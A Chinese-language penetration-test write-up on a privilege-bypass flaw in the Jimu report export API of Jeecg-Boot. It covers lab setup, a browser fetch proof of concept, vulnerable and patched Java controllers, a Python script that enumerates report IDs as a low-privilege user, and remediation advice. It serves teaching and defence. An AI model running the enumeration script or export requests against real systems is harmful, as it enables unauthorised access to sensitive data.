1. 项目概述一次典型的企业级组件权限绕过漏洞深度剖析最近在内部的一次安全评估中我们团队对一个基于Jeecg-Boot框架开发的系统进行了渗透测试。Jeecg-Boot作为国内流行的低代码开发平台其内置的“积木报表”模块是许多企业用于快速生成可视化报表的核心组件。在测试过程中我们意外地发现了一个存在于积木报表组件中的权限绕过漏洞。这个漏洞的隐蔽性较高但一旦被利用攻击者可以在未授权的情况下访问甚至导出系统中的敏感报表数据其潜在危害不容小觑。今天我就把这个漏洞的发现过程、原理分析、复现步骤以及修复建议进行一次完整的复盘和分享。无论你是安全研究人员、企业开发人员还是运维工程师理解这类漏洞的成因和利用方式对于提升自身系统的安全性都至关重要。简单来说这个漏洞的核心在于积木报表的某个接口或功能未能对用户的访问权限进行二次校验导致低权限用户或未登录用户可以通过构造特定的请求绕过前端界面限制直接访问本应只有高权限角色才能操作的数据和功能。这属于典型的“越权访问”漏洞在OWASP Top 10中常年占有一席之地。接下来我将从环境搭建开始带你一步步拆解这个漏洞。2. 漏洞环境搭建与初步侦查2.1 靶场环境选择与部署为了在不影响真实业务的情况下进行分析我们首先需要搭建一个包含漏洞版本的Jeecg-Boot测试环境。Jeecg-Boot是一个开源项目我们可以直接从其GitHub仓库拉取历史版本代码。根据漏洞影响范围我们需要定位到包含特定版本积木报表组件的Jeecg-Boot版本。经过搜索和比对我们确定在Jeecg-Boot的某个历史发行版中其内置的积木报表模块存在缺陷。实际操作中我选择了在本地虚拟机中使用Docker-Compose快速部署。这样做的好处是环境隔离性好搭建和销毁都非常方便。你需要准备的基础环境包括Docker、Docker-Compose、Git以及JDK用于本地代码审计时使用。首先从官方仓库克隆代码git clone https://github.com/jeecgboot/jeecg-boot.git cd jeecg-boot # 切换到存在漏洞的特定版本分支或Tag git checkout tags/v2.4.5然后查看项目根目录下的docker-compose.yml或相关部署文档。Jeecg-Boot通常依赖MySQL、Redis等服务。一个简化的docker-compose.yml示例如下version: 3 services: mysql: image: mysql:5.7 environment: MYSQL_ROOT_PASSWORD: root MYSQL_DATABASE: jeecg-boot ports: - 3306:3306 redis: image: redis:alpine ports: - 6379:6379 jeecg-boot: build: . depends_on: - mysql - redis ports: - 8080:8080 environment: SPRING_DATASOURCE_URL: jdbc:mysql://mysql:3306/jeecg-boot?useUnicodetruecharacterEncodingUTF-8 SPRING_REDIS_HOST: redis使用docker-compose up -d启动所有服务。等待片刻访问http://localhost:8080即可看到Jeecg-Boot的登录界面。使用默认管理员账号如admin/123456登录进入系统后找到“积木报表”或“报表设计”功能模块确保该模块可以正常访问和使用。注意搭建靶场时务必确保网络环境安全仅限于本地或受控的内网环境访问。切勿将存在已知漏洞的环境暴露在公网。2.2 权限模型与功能点梳理在开始漏洞挖掘前我们必须先理解目标系统的权限模型。Jeecg-Boot通常采用基于角色的访问控制RBAC。管理员可以创建不同的角色如“部门经理”、“普通员工”并为角色分配菜单权限、按钮权限和数据权限。创建测试角色和用户登录管理员账号创建一个低权限角色例如“报表查看员”。只为这个角色分配“积木报表”模块的“查看”权限明确不分配“导出”、“编辑”、“删除”等高级权限。然后创建一个属于该角色的测试用户如test/viewer123。功能点枚举使用管理员账号全面操作一遍积木报表模块的所有功能。利用浏览器的开发者工具F12切换到Network网络标签页并勾选“Preserve log”保留日志。依次点击报表列表查看点击某个报表预览尝试导出报表Excel、PDF进入报表设计器保存、另存为报表删除报表查看报表数据源这个过程会记录下所有相关的HTTP请求API接口。重点关注请求的URL、方法GET/POST/PUT/DELETE、请求参数和响应内容。将这些接口整理成一份清单。接口分析分析记录的接口通常它们会遵循一定的RESTful风格例如GET /jmreport/list- 获取报表列表GET /jmreport/{id}- 获取单个报表详情POST /jmreport/export/excel/{id}- 导出ExcelDELETE /jmreport/{id}- 删除报表我们的目标就是找出那些在权限校验逻辑上可能存在缺陷的接口。3. 漏洞原理深度解析与定位3.1 权限校验的常见薄弱环节在Web应用中权限绕过漏洞通常源于“信任边界”的校验不完整。对于积木报表这类组件常见的薄弱点包括接口路径可预测/遍历如果导出接口的路径中包含简单的ID参数如/export/123攻击者可能通过遍历ID来访问他人的报表。仅依赖前端控制导出按钮在前端对灰色不可点击但对应的API接口未在后端进行角色或权限码校验。二次校验缺失用户访问报表详情页时后端校验了“查看”权限。但当用户从详情页发起“导出”请求时后端可能只校验了会话有效性而忘记二次校验该用户是否对“这个报表”拥有“导出”权限。权限码设计缺陷系统使用权限字符串如jmreport:export来控制功能。但如果某个高权限接口错误地关联了一个低权限的权限码或者根本没有关联权限码就会导致越权。参数污染与混淆请求中可能包含多个标识参数如reportId和id后端校验了其中一个但业务逻辑使用了另一个未经验证的参数。3.2 针对积木报表的定向分析结合对Jeecg-Boot框架和积木报表代码结构的了解我们将侦查重点放在“数据导出”和“报表设计器”相关接口上。因为这两类功能通常涉及敏感数据操作是权限控制的关键点。我们使用低权限账号test登录系统。如前所述该账号只能看到报表列表并且列表中的“导出”按钮是灰色不可用的。此时我们打开开发者工具切换到之前用管理员账号记录的网络请求。找到那个导出Excel的接口POST /jmreport/export/excel/{id}。关键的一步来了我们直接在这个已登录的低权限会话中手动构造一个请求尝试访问这个接口。比如我们知道某个报表的ID是1001可以从管理员账号的请求响应或列表接口中获取。我们可以使用浏览器控制台Console发送一个Fetch请求来测试fetch(/jmreport/export/excel/1001, { method: POST, headers: { Content-Type: application/json, // 其他必要的头部如X-Access-Token如果使用Token认证 }, // 如果需要body参数在此处添加 // body: JSON.stringify({...}) }) .then(response response.blob()) .then(blob { // 如果请求成功blob可能是导出的Excel文件 const url window.URL.createObjectURL(blob); const a document.createElement(a); a.href url; a.download report_1001.xlsx; a.click(); }) .catch(error console.error(Error:, error));如果这个请求执行成功并且浏览器开始下载report_1001.xlsx文件那么一个严重的权限绕过漏洞就基本被证实了——低权限用户test成功导出了他本无权导出的ID为1001的报表。3.3 代码层溯源与根因确定为了彻底理解漏洞成因并寻找所有可能的利用点我们需要进行简单的代码审计。在Jeecg-Boot项目中找到积木报表对应的后端控制器代码通常路径类似于jeecg-module-system/src/main/java/org/jeecg/modules/jmreport/controller/。查找处理导出请求的控制器方法例如JmReportController类中的exportExcel方法。核心审计点如下注解检查查看方法上是否有权限注解如Shiro的RequiresPermissions(“jmreport:export”)或Spring Security的PreAuthorize(“hasRole(‘admin’)”)。如果缺失则是重大缺陷。手动校验逻辑即使有注解也要看方法体内是否有额外的、更细粒度的校验。例如是否先根据报表ID查询报表实体再判断当前登录用户是否是该报表的创建者或所属部门的成员如果没有那么用户A是否可以导出用户B创建的报表这属于水平越权。参数处理逻辑检查方法如何获取报表ID。是从路径变量PathVariable获取还是从请求体RequestBody获取获取后是否直接用于查询是否存在参数混淆的可能性一个存在漏洞的简化代码示例如下PostMapping(/export/excel/{id}) public void exportExcel(PathVariable String id, HttpServletResponse response) { // 漏洞点1缺少权限注解如 RequiresPermissions(jmreport:export) // 漏洞点2未对当前登录用户Subject进行任何权限校验 JmReport report jmReportService.getById(id); // 直接根据ID查询 if (report null) { throw new RuntimeException(报表不存在); } // 漏洞点3查询到报表后没有检查当前用户是否有权导出此报表如比较创建人字段 // ... 执行导出逻辑 byte[] data reportService.exportExcel(report); // ... 将data写入response }而一个相对安全的代码应该类似这样PostMapping(/export/excel/{id}) RequiresPermissions(jmreport:export) // 第一层功能权限校验 public void exportExcel(PathVariable String id, HttpServletResponse response) { String currentUsername getCurrentUser(); JmReport report jmReportService.getById(id); if (report null) { throw new RuntimeException(报表不存在); } // 第二层数据权限校验水平权限校验 if (!report.getCreateBy().equals(currentUsername)) { // 更复杂的场景可能还需要校验部门、角色组等 throw new RuntimeException(无权操作此报表); } // ... 执行安全的导出逻辑 }通过代码审计我们就能精准定位到漏洞的根源缺失关键的功能权限注解和/或数据权限校验逻辑。4. 漏洞复现与利用链构造4.1 手工复现全流程基于以上分析我们可以整理出一个清晰的手工复现流程这有助于编写漏洞报告或内部培训材料信息收集使用管理员账号登录进入积木报表模块。创建一个测试报表记录其ID假设为1001。使用浏览器开发者工具捕获“导出Excel”操作的完整HTTP请求。记录URL、方法、Headers特别是认证Token或Cookie和请求体。权限降级退出管理员账号使用低权限账号test登录。确认该账号在报表列表页面看不到“导出”按钮或按钮为灰色。越权请求构造在保持test账号登录状态的前提下打开一个新的浏览器标签页或使用工具如Postman、Burp Suite Repeater。将步骤1中捕获的导出请求完整复制过来。关键点在于保持当前低权限用户的会话Cookie或Token有效。发送请求。结果验证成功迹象响应状态码为200并且响应头中包含Content-Disposition: attachment; filename...浏览器自动下载Excel文件。打开文件确认内容为ID是1001的报表数据。失败迹象响应状态码为403禁止访问、401未授权或返回一个JSON错误信息如{“code”: 500, “message”: “无权操作”}。4.2 利用脚本编写与自动化测试对于安全测试人员编写一个简单的Python脚本来批量检测此类漏洞会非常高效。这个脚本的核心逻辑是先使用一个低权限账号登录获取会话然后遍历已知或猜测的报表ID尝试访问导出接口。import requests import sys # 配置 BASE_URL http://localhost:8080 LOGIN_API /sys/login EXPORT_API_TEMPLATE /jmreport/export/excel/{id} # 根据实际情况调整 LOW_USER {username: test, password: viewer123} REPORT_IDS [1001, 1002, 1003] # 可通过其他信息泄露接口获取ID列表 def login(): 使用低权限账号登录获取认证Token login_url BASE_URL LOGIN_API # Jeecg-Boot 登录接口可能需要特定格式 payload { username: LOW_USER[username], password: LOW_USER[password] # 可能还需要 captcha 等字段 } headers {Content-Type: application/json} try: resp requests.post(login_url, jsonpayload, headersheaders) resp.raise_for_status() result resp.json() if result.get(success) or result.get(code) 200: # 获取Token具体字段名根据实际接口返回确定 token result.get(result, {}).get(token) or result.get(accessToken) # 或者直接使用Cookie cookies resp.cookies.get_dict() print(f[] 登录成功用户: {LOW_USER[username]}) return {token: token, cookies: cookies} else: print(f[-] 登录失败: {result.get(message)}) return None except Exception as e: print(f[-] 登录请求异常: {e}) return None def test_export(auth_info, report_id): 测试指定ID的报表导出接口 export_url BASE_URL EXPORT_API_TEMPLATE.format(idreport_id) headers { Content-Type: application/json, } if auth_info.get(token): headers[X-Access-Token] auth_info[token] # 常见Token头部 # 使用Session可以自动管理Cookies session requests.Session() if auth_info.get(cookies): session.cookies.update(auth_info[cookies]) try: # 注意导出接口通常是POST但具体方法需根据实际情况调整 resp session.post(export_url, headersheaders) if resp.status_code 200 and application/vnd.ms-excel in resp.headers.get(Content-Type, ): filename resp.headers.get(Content-Disposition, ).split(filename)[-1].strip(\) print(f[!!!] 严重漏洞成功越权导出报表 ID: {report_id}, 文件名: {filename}) # 可选择保存文件 # with open(filename, wb) as f: # f.write(resp.content) return True elif resp.status_code 403 or resp.status_code 401: print(f[-] 权限校验正常无法导出 ID: {report_id} (状态码: {resp.status_code})) else: print(f[?] 异常响应 ID: {report_id}, 状态码: {resp.status_code}, 响应头: {resp.headers}) except Exception as e: print(f[-] 请求异常 ID: {report_id}: {e}) return False if __name__ __main__: auth login() if not auth: sys.exit(1) print(f[*] 开始测试导出接口...) vulnerable_ids [] for rid in REPORT_IDS: if test_export(auth, rid): vulnerable_ids.append(rid) if vulnerable_ids: print(f\n[] 发现存在权限绕过漏洞的报表ID: {vulnerable_ids}) else: print(f\n[-] 未发现明显的权限绕过漏洞。)实操心得在实际测试中报表ID可能不是简单的连续数字而是UUID或雪花算法ID。此时需要先通过其他信息泄露点如列表接口返回了所有ID、日志、错误信息等来收集有效的ID。另外注意请求频率避免触发系统的风控或WAF规则。5. 漏洞修复方案与加固建议发现漏洞后最重要的就是修复。修复的核心原则是在服务端进行强制、全面的权限校验遵循“默认拒绝”原则。5.1 临时缓解措施在开发团队发布正式补丁前可以采取以下临时措施降低风险WAF/网关规则在应用防火墙或API网关上为敏感的积木报表接口如/jmreport/export/*,/jmreport/delete/*,/jmreport/design/*等配置严格的访问控制规则。例如只允许来自特定IP段如运维网段或拥有高权限角色标识的请求通过。但这只是网络层的缓解并非根本解决之道。禁用或移除功能如果业务暂时不需要导出或设计功能可以在前端界面彻底移除相关按钮并在后端控制器方法上添加Deprecated注解或直接返回错误从入口处关闭风险点。增强日志与监控对所有报表相关接口的访问进行详细日志记录包括访问者、时间、操作类型、报表ID、IP地址等。设置告警规则对低权限账号访问高危接口的行为进行实时告警。5.2 根本修复方案代码层面修复需要修改积木报表组件的后端代码确保每个敏感操作都经过两层校验添加功能权限注解在控制器类或方法上使用框架提供的权限注解。对于Jeecg-Boot通常集成Shiro或Spring Security示例如下// 使用Shiro注解 RequiresPermissions(jmreport:export) // 需要拥有导出权限 PostMapping(/export/excel/{id}) public void exportExcel(...) { ... } // 或使用Spring Security注解 PreAuthorize(hasRole(admin) or hasPermission(#id, EXPORT)) // 需要admin角色或对该id有EXPORT权限 PostMapping(/export/excel/{id}) public void exportExcel(PathVariable String id, ...) { ... }确保权限字符串如jmreport:export在系统的权限管理菜单中正确定义并只分配给需要的角色。强化数据权限校验在方法内部查询到业务实体报表对象后必须进行归属权或数据权限校验。PostMapping(/export/excel/{id}) RequiresPermissions(jmreport:export) public void exportExcel(PathVariable String id, HttpServletResponse response) { String currentUserId getCurrentUserId(); // 获取当前登录用户ID JmReport report jmReportService.getById(id); if (report null) { throw new BusinessException(报表不存在); } // 方案A校验创建人适用于创建者即拥有者的场景 if (!report.getCreateBy().equals(currentUserId)) { throw new BusinessException(无权导出他人创建的报表); } // 方案B更通用的数据权限服务校验适用于复杂的部门、角色数据权限模型 // 注入 DataScopeService // if (!dataScopeService.hasPermission(currentUserId, report, EXPORT)) { // throw new BusinessException(无数据操作权限); // } // ... 执行导出逻辑 }这里getCurrentUserId()需要从安全上下文中可靠地获取例如Shiro的Subject.getPrincipal()或Spring Security的SecurityContextHolder。进行全面的代码审计与回归测试修复导出接口后必须对积木报表模块的所有增、删、改、查、设计、复制、预览等相关接口进行同样的审计和加固。漏洞往往不止一个。修复完成后需要让测试人员用不同权限的账号进行全面回归测试确保漏洞被彻底修复且未引入新的问题。5.3 框架级与开发流程建议除了修复具体漏洞从长远看团队应建立更安全的基础统一权限校验切面开发一个全局的拦截器或AOP切面对所有Controller方法进行“是否标注权限注解”的检查。对于未标注任何权限注解的敏感接口可通过路径规则识别在代码审查或构建阶段发出警告甚至报错。安全编码规范将“业务操作前必须进行数据权限校验”写入团队的安全编码规范。在代码审查Code Review时将此作为重点检查项。定期组件安全扫描将Jeecg-Boot等第三方依赖库纳入软件成分分析SCA工具的扫描范围及时关注官方安全公告和更新对已知漏洞的组件进行快速升级。渗透测试常态化在每次重大版本发布前邀请安全团队或使用自动化工具进行渗透测试将越权测试作为必测项。6. 漏洞挖掘的延伸思考与技巧这次对积木报表的漏洞挖掘其实是一个很经典的越权漏洞案例。复盘整个过程我们可以总结出一些通用的挖掘技巧和思路用于发现其他类似问题关注“导出”和“下载”功能这两个功能是数据泄露的高风险点。测试时不仅要看按钮是否隐藏更要直接抓包重放请求。尝试修改请求参数如ID、类型、时间范围等。测试“水平越权”与“垂直越权”水平越权同角色用户A能否操作用户B的数据测试方法用两个同权限账号互相尝试操作对方的数据ID。垂直越权低权限用户能否执行高权限功能测试方法即本文所述用低权限账号直接调用高权限接口。参数篡改与模糊测试不要局限于接口路径。对请求体Body、查询参数Query String、甚至Header中的业务参数进行篡改。例如某个更新个人资料的接口请求体中包含userId尝试将其改为他人的ID。利用“功能依赖”链有时直接访问目标接口会被拦截但可以通过一系列合法的操作“引导”系统到达那个状态。例如先通过一个合法请求获取到一个临时的令牌或文件路径再用这个令牌或路径去访问受限资源。代码审计中的“顺藤摸瓜”在审计代码时不要只看目标方法。要查看它调用的服务层、数据层方法。权限校验可能在Service层被遗漏。同时关注全局的过滤器、拦截器配置看看是否有URL被意外地放行了。踩坑记录在一次测试中我们发现导出接口确实做了权限校验但校验逻辑是“用户是否在报表的共享名单里”。然而获取共享名单的接口本身存在越权导致攻击者可以先将目标报表添加到自己的共享列表再正常导出。这种“组合拳”式的漏洞更需要系统的测试思维。最后我想强调的是安全是一个持续的过程而不是一次性的任务。对于使用Jeecg-Boot这类快速开发框架的团队来说在享受开发效率提升的同时必须对框架内置组件的安全性保持警惕。官方组件并非绝对安全定期的安全评估和及时的补丁更新是保障业务系统稳定运行的必要环节。希望这次详细的漏洞分析能为你理解和防范此类权限绕过漏洞提供切实的帮助。在实际工作中养成“不信任前端”、“服务端校验是唯一真理”的安全意识能从源头避免大量低级但危害巨大的安全漏洞。